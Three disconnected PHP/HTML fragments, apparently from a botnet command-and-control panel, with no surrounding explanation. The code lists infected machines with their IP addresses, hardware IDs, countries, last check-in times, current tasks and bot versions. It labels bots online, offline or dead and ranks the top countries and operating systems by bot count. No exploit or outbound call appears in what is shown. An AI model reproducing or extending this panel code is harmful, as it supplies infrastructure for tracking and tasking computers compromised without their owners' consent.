<th>Last Response</th> <th>Current Task</th> <th>Operating System</th> <th>Bot Version</th> <th>Mark</th> <th>Status</th> </tr> </thead> <tbody> <?php $bots = $odb->query("SELECT * FROM bots ORDER BY lastresponse DESC"); $unix = $odb->query("SELECT UNIX_TIMESTAMP()")->fetchColumn(0); while ($b = $bots->fetch(PDO::FETCH_ASSOC)) { $id = $b['id']; $ip = $b['ipaddress']; $cn = geoip_country_name_by_id($gi, $b['country']); $fl = strtolower(geoip_country_code_by_id($gi, $b['country'])); $lrd = $b['lastresponse']; $lr = date("m-d-Y, h:i A", $lrd); $ct = $b['currenttask']; $os = $b['operatingsys']; $bv = $b['botversion']; $st = ""; $mk = ""; if ($lrd + ($knock + 120) > $unix) { $st = '<small class="badge bg-green">Online</small>'; } else { if ($lrd + $deadi < $unix) { $st = '<small class="badge bg-red">Dead</small>'; } else { $st = '<small class="badge bg-yellow">Offline</small>';
<div class="row"> <div class="col-lg-4 col-xs-8"> <h3>Top 3 Countries</h3> <table id="topcountries" class="table table-condensed table-hover table-striped table-bordered"> <thead> <tr> <th>Country</th> <th># of Bots</th> </tr> </thead> <tbody> <?php if ($total != "0") { $csel = $odb->query("SELECT country, COUNT(*) AS cnt FROM bots GROUP BY country ORDER BY cnt DESC LIMIT 3"); while ($c = $csel->fetch()) { echo '<tr><td>' . geoip_country_name_by_id($gi, $c[0]) . '</td><td>' . number_format($c[1]) . '</td></tr>'; } } else { echo '<tr class="odd"><td colspan="8">No data to display</td></tr>'; } ?> </tbody> </table> </div> <div class="col-lg-4 col-xs-8"> <h3>Top 3 Operating Systems</h3> <table id="topcountries" class="table table-condensed table-hover table-striped table-bordered"> <thead> <tr> <th>Operating System</th> <th># of Bots</th>
?> <tbody> <tr><td>ID</td><td><?php echo $d['id']; ?> </td></tr> <tr><td>HWID</td><td><?php echo $d['bothwid']; ?> </td></tr> <tr><td>IP Address</td><td><?php echo $d['ipaddress']; ?> </td></tr> <tr><td>Country</td><td><?php echo geoip_country_name_by_id($gi, $d['country']); echo ' <img src="img/flags/' . strtolower(geoip_country_code_by_id($gi, $d['country'])) . '.png" />'; ?> </td></tr> <tr><td>Install Date</td><td><?php echo date("m-d-Y, h:i A", $d['installdate']); ?> </td></tr> <tr><td>Last Response</td><td><?php echo date("m-d-Y, h:i A", $d['lastresponse']); ?> </td></tr> <tr><td>Current Task</td><td>#<?php echo $d['currenttask']; ?> </td></tr>